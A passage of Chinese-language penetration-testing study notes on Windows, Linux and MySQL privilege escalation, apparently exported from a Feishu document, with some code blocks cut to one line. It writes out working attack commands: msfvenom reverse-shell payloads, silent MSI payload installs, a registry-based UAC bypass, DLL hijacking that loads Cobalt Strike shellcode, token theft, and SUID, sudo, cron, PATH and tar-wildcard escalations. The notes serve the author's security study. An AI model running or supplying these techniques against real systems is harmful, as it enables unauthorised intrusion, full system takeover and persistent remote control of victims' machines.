提权
windows提权
linux提权
数据库提权
第三方软件提权
windows提权
提权到administrator、system权限
windows用户账户一般有:
1 | 本地普通用户 |
本地普通用户:在windows电脑中本地新建的普通用户,没有管理员权限,新建用户一般都是user组
1 | net user admin admin_123 add //添加用户admin,密码是 admin_123 |
本地普通用户在进行高权限操作时会出现需要管理员账号密码进行认证
本地管理员组内非administrator用户(本地普通用户),一般来说电脑我们使用的时候都是在管理员组但非administrator用户,所以有道时候需要uac认证,或者以管理员身份运行软件
在windows11家庭版中administrator默认是隐藏关闭的,如果需要开启,则使用
1 | net user administrator /active:yes |
system是服务账号的最高权限,administrator是用户账号的最高权限,任务管理器中是以system运行的一般都是系统自带的服务
一般拿到的就是webshell,然后通过传cs木马,上cs的shell,利用cs里面提权脚本进行提权,如ms15-051、过uac。。。然后也可以上msf。CS和msf各有优劣,msf的工具脚本会多一些而且很稳定,CS会更方便一些有图形化一键利用
Windows系统内核溢出提权漏洞(可能会蓝屏)
系统本身或系统中的软件漏洞获取windows操作系统的system权限,有本地溢出和远程溢出
流程
信息收集,查看权限,查看版本,补丁
查看是否有可利用漏洞
根据漏洞找exp
用exp提权
查信息
1 | systeminfo |
能查到补丁,然后根据对应的补丁漏洞进行提权
常见补丁漏洞对应表
https://blog.csdn.net/qq_41060781/article/details/134613672
暂时无法在飞书文档外展示此内容
1 | MS16-135 [KB3199135] 2016 |
或使用msf提权
1 | msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.45.131 LPORT=7777 -f exe -o xxx.exe |
利用自动提权(很可能失败)
1 | getsystem //一般是从管理员(administrator)提升到system,如果是普通权限运行此命令会报错 |
但是可以使用自动提权脚本
比如pwnkit或者是msf自带的enum_patches和local_exploit_suggester
上线到msf后,将session放后台,然后运行即可
1 | use post/multi/recon/local_exploit_suggester |
然后跑出来用对应脚本提权即可
Windows exploit suggester
暂时无法在飞书文档外展示此内容
放kali里面用python2运行
1 | systeminfo > systeminfo.txt |
在线辅助提权
1 | https://i.hacking8.com/tiquan |
wesng提权(更好的windows-exploit-suggester)
1 | python wes.py --update |
exp搜索
1 | https://github.com/offensive-security/exploitdb |
Windows错误配置提权(另一些提权,但远远不如上面的好用,只是了解一些就好)
概念:
查看是否存在错误系统配置,比如路径未加引号或未指定可执行文件路径等,导致运行程序命令的时候能被添加或截获命令
Tusted Service Paths提权原理
windows服务通常使用system权限运行,系统解析服务的二进制文件对应的文件路径中空格的时候可以以系统权限进行解析。以系统权限执行
即如图
此有引号并且里面有空格,如果说这里没有引号,并且有空格则可以进行利用
1 | 服务路径没有用引号引起来 |
微软服务路径寻找方法
例如C:\Program Files\Common Files\service.exe
1 | C:\Program.exe //寻找失败 |
我们就在截断的那里写一个刚好同名的软件就行,就会以服务的权限去运行该文件
实验配置流程
创建一个服务,路径中存在空格,并且服务路径中没有引号
1 | sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe" start=auto //这里binpath后面是必须要有空格的 |
查询服务的启动方式和权限
1 | sc qc service |
查询是否有可写权限
1 | icacls "C:" |
赋予权限(本身就需要管理员才能加权限)
1 | icacls "C:" /grant "BUILTIN\Users" :W |
流程
登上控制了的机器
使用命令查找有没有这样的服务
1 | wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """ |
编译生成exe,将exe重命名并上传到相应目录
这里没有做自删除,可以需要做自删除的,或者再调用原来的ipconfig伪装一下
1 | #include<stdio.h> |
path配置错误(鸡肋)
和上面的差不多,只不过现在是放到环境变量中了,并且需要管理员去执行命令,才能上线
查找环境变量
1 | wmic ENVIRONMENT where "name='path'" get UserName , VariableValue |
不安全的服务提权
原理
以system权限运行
给服务设置权限,
1 | subinacl /service xxxx /grant=apache=F //将xxxx的服务赋予apache完全控制权 |
流程
查看当前哪些服务配置不当
使用accesschk工具
1 | accesschk -cw * /accepteula |
如果有服务在当前用户下,那么就可以通过修改当前服务的执行路径,使此服务执行我们的恶意程序
1 | sc config xxxx binpath= "C:\\Users\xxx\desktop\1.exe" |
不安全注册表提权(需要有对注册表的修改权限)
原理
windows的服务路径存储在windows的注册表中,如果注册表配置不当,攻击者发现可以使用低权限可以修改注册表的时候,就能提权,将imagepath修改为恶意文件,重启导致提权
实际上就算上一个提权方法的注册表形式修改
寻找到路径,然后修改其binpath即可
注册表中在这个目录下
1 | "HKEY_LOCAL_MACHINE\system\ControlSet001\services\xxx" |
查询是否成功替换
1 | reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\xxx /v imagepath |
注册表键AlwaysInstall提权
https://blog.csdn.net/yangbz123/article/details/117196615
注册表键是一个策略设置项,windows运行低权限用户以system权限安装文件,使用此策略设置项,所有权限用户都可以使用NT AUTHORITY\SYSTEM权限安装恶意MSI文件
应该是默认关闭的
1 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
这就说明是没有
输入gpedit.msc,打开组策略管理器
计算机配置–>模板管理–>windows组件–>windows installe,设置里面有永远以高权限安装,启用就行
用户配置–>…………,也是一样,都需要进行操作
再进行查询,这样就说明有
流程
msf
msf登录上电脑
1 | use exploit/windows/local/always_install_elevated |
设置session后运行即可
如果失败了,可以使用msi生成文件上传上去
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.131 LPORT=123 -f msi -o payload.msi |
然后运行并监听即可
1 | execute "msiexec.exe /quiet /qn /i payload.msi" |
另外补充:
msf里面可以使用upload进行文件上传
比如需要上传xxx.exe
1 | meterpreter > upload xxx.exe |
CS
首先用cs生成一个木马,xxx.exe
然后使用工具exe2msi,将exe文件转成msi文件,然后再传到目标机器上运行上线
运行即可
1 | msiexec.exe /quiet /qn /i xxx.msi |
敏感文件泄露
比如unattend.xml,应答文件,用于管理员自动分发安装电脑
在C:\Windows\Panther里面
里面就可能泄露账号密码,前面信息收集那章会有很全的信息
1 | dir /s *pass* == *.config |
如果说管理员曾经使用过runas /savecred,比如
1 | runas /savecred /user:administrator cmd |
会将密码当作凭证,保留在电脑上
cmdkey /list
如果查到了账号密码,用psexec就能上了
接前面的内网渗透
计划任务提权
设置计划任务配置不当,导致可以劫持然后替换成自己的恶意文件进行提权
就是普通用户能修改计划任务,将计划任务本来要运行的程序改掉了,并且需要计划任务在高权限运行
但是极可能不知道计划任务运行的是哪个,所以这个只能去猜,另外还有个命令能查询计划任务,但是低权限用户无法查询到高权限的计划任务,所以这个也看运气
1 | schtasks /query /fo LIST /v |
查看用户的权限(需要上传accesschk文件)
1 | accesschk apache -cw * /accepteula |
启动项提权
开机自启程序
1 | 启动文件夹 |
启动注册表(windows11、windows10里面很多都没有,下面的主要是windows7里面的)
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\Version\Policies\Explorer\Run |
查询文件夹权限
1 | shell accesschk.exe "C:\ProgramData\Microsoft\Windows\Start |
复制文件到目录,然后等待重启即可
Uac认证
UAC为用户账户控制,在做很多操作的时候会蹦出来妨碍你,由于我们没有图形化界面,没法点击,所以这个时候就得绕过
就是我们电脑偶尔要点击
你要允许此应用对你的设备进行更改吗,的这个东西
触发
1 | 安装或卸载程序 |
CS绕过UAC(好用)
上cs后提权一键绕过即可
计划任务
前面讲到的配置错误里面,计划任务和注册表都是可以不经过uac认证的,所以如果可以的话,这个也是一个思路
msf过UAC
当前用户必须是管理员组内用户,uac为默认设置即可
上线之后去handler里面找
1 | search bypassuac |
RUNAS提权
1 | exploit/windows/local/ask |
向对面电脑弹个框,如果对面点击是,则直接拿shell
基于白名单DLL劫持绕过
dll是动态链接库,又称为”应用程序拓展”,为软件文件类型。在windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,类似于编程中的用import 导入的模块
原理
当进程尝试加载加载一个Dll但是没有指定dll绝对路径的时候,windows会尝试指定目录下查找该dll,如果攻击者能控制其中一个目录,并且放一个恶意dll到此目录下,该恶意dll就会被进程加载,并执行
顺序
1 | 应用程序加载的目录 |
Know DLL注册表项
在windows7之后,windows为了防御dll劫持,将容易被劫持的系统dll写入了注册表项中,那么反思此项目下的dll文件就会被禁止从exe自身所在的目录下进行调用,只能从系统目录即system32目录下进行调用
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs |
只能从system32调用,其他任何,比如应用程序加载的目录都不能调用此同名文件
昂,如果说java在除c盘外的其他盘,但java运行需要调用本目录的dll,那么那个dll由于在其他盘所以应该能被篡改,那么就能被劫持上线,还有转发dll
现将操作本地执行,使用procmon进行监控,过滤DLL和name not found ,查询可以替换的dll文件,注意文件的权限是否可以在目录写入,如果都ok,进行写入即可
1 | /* Replace "dll.h" with the name of your header */ |
或者说,这里的shellcode是从cs生成的shellcode,根据cs生成的实际内容进行修改即可,这里编译运行即可获得dll,然后改名放到那个目录,然后再运行程序即可
1 | /* Replace "dll.h" with the name of your header */ |
然后的话,这次是跟着免杀训练走了一下网易云的dll劫持,我的版本是3.0.18
生成了一个dll文件,叫profapi.dll,然后能直接过并且不报错,我也不知道为什么这个能不报错,这里已经是成功白加黑上线cs了
并且没有看见师傅讲课时讲的stack里面调用动态链接库,只看见调用了其他的东西,不清楚是哪部分能直接过这个程序
至于师傅又讲到的aheadlib进行转发函数,很感兴趣,但是手头缺工具,打算下周再弄了
至于DLLmain死锁,确实是我没有注意过的,这个应该就是导致我前面改成其他dll名然后报错的原因吧,在进程调用到这里的时候本身有一个创建新进程,导致一堆报错,或者没找到函数
基于白名单的AutoElevate绕过
原理
利用白名单程序的本质上是劫持注册表,能主动寻找autoelevated属性为true的程序,修改其注册表command的值改成我们想执行的payload,该值中的字段会在程序运行的时候自动执行,类似于默认程序打开,以后运行该程序的时候,这个command命令都会自动执行
1 | HKCU\Software\Classes\mscfile\shell\open\commend //一般来说得自己添加 |
UAC同样也会对程序本身造成影响,微软不希望运行系统程序也过UAC,所以对一些系统程序添加了白名单机制
常见白名单:
1 | msconfig.exe |
注册表添加(即使没过UAC也是可以修改注册表的)
1 | reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "cmd.exe /c calc" |
然后运行那个应用即可
CVE-2019-1388 UAC
windows证书对话框特权提升漏洞,是因为UAC机制的设定不严导致的,默认情况下,windows UAC提示本身为consent.exe可执行文件生成,导致NT AUTHORITY\system身份运行并且有system完整性水平。由于用户可以与此UI进行交互。所以有必要对UI进行严格限制。否则低权限用户可能通过UI操作提权到system
超链接打开浏览器,然后后续的权限都是以system来跑的,导致权限被滥用
可以打开浏览器,然后找到一个能开文件管理器的位置,然后开一个cmd,就行
Windows令牌概述和令牌窃取攻击(其实没什么用,作为计划任务的替代品)
getsystem命令也是这种方法
Windows令牌
令牌(Token)是系统的临时密钥,相对于账户名和密码,用于访问是否允许这次请求和判断这次的请求是属于哪一个用户的,不允许在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在直到电脑重启
随机,不可预测
1 | 访问令牌(Access Token):表示访问控制主题的系统对象 |
访问令牌包含以下内容
1 | 用户账户的安全标识(SID) |
Windows访问令牌有两种
1 | Delegation Token:授权令牌,支持交互式会话登录(本地用户直接登录、远程桌面登录) |
只有在系统重启后才会清除,当授权令牌用户注销后,授权令牌自动变成模拟令牌
令牌窃取
incognito.exe
1 | incognito.exe list_tokens -u //列出用户令牌 |
没过uac只能拿到自己的账户令牌,过了uac才能提权
直接执行命令达到权限
linux提权
1 | 赋予了文件权限 |
内核提权是linux内核的漏洞进行提权。内核漏洞进行提权一般包括三个环节:
1.对目标系统进行信息收集,获取到系统内核信息以及版本信息;
2.根据内核版本获取其对应的漏洞以及EXP
3.使用找到EXP对目标系统发起攻击,完成提权操作
查看Linux操作系统的内核版本和相关信息
1 | cat /etc/issue 查看ubuntu或者centos的版本 |
使用searchsploit能查找内核exp
searchsploit -m 44641.c
1 | gcc -o xxx 44641.c //将44641.c编译成xxx |
suid文件为/usr/bin/su
SUID提权
suid是一种特殊权限,设置了suid的程序文件,在用户执行程序时候,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,执行该程序的用户暂时在这件事上获得root权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置是suid
1 | 只有二进制文件设置suid才有意义 |
设置SUID
1 | chmod u+s filename 设置SUID位 |
查找SUID文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
使用find提权
1 | find xxx -exec whoami \; |
使用bash提权
如果配置为suid权限
1 | find / -user root -perm -4000 -print 2>/dev/null |
Vim提权
1.修改/etc/passwd和/etc/shadow
1 | ad7t5uIalqMws 密码为Password@973 盐为addedsalt |
2.vim打开交互shell
1 | vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' |
python提权
1 | python -c 'import os;os.execl("/bin/sh","sh","-p")' |
计划任务
可能是权限配置不当,计划任务以root运行,低权限可以修改计划任务文件或内容
1 | crontab -e 编辑计划任务 |
计划任务文件夹在 /etc/cron下
1 | */1 * * * * root /bash_os.sh |
上线后直接去/etc/crontab中查看文件,并查看权限,看可不可以改
环境变量劫持(比较有用)
和windows的path劫持一样
1 | echo $PATH查看环境变量 |
shell文件有s/root权限,然后里面调用了cat命令
1 | echo "/bin/bash" > /tmp/cat |
sudo提权
sudo权限的授予/etc/sudoers中操作
1 | cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get |
cseroad表示用户名
第一个all允许从任何终端访问sudo
第二个(ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个NOPASSWD表示不需要输入密码即可执行命令
1 | sudo -l |
WS通配符提权
1 | echo "" > --help |
tar -cvf html.tgz /var/www/html *
反弹shell
1 | echo ""> /var/www/html--checkpoint=1 |
密码爆破
John
1 | john --wordlist=xxx.txt shadow.txt |
Mysql提权
UDF提权
UDF(User Define Function),用户自定义函数,用来满足需求
用c语言或者c++写好一个dll文件,然后放在mysql目录下
UDF==xxx.dll –>>mysql的目录下
然后就能在mysql中进行调用了
1 | mysql> xxx(); |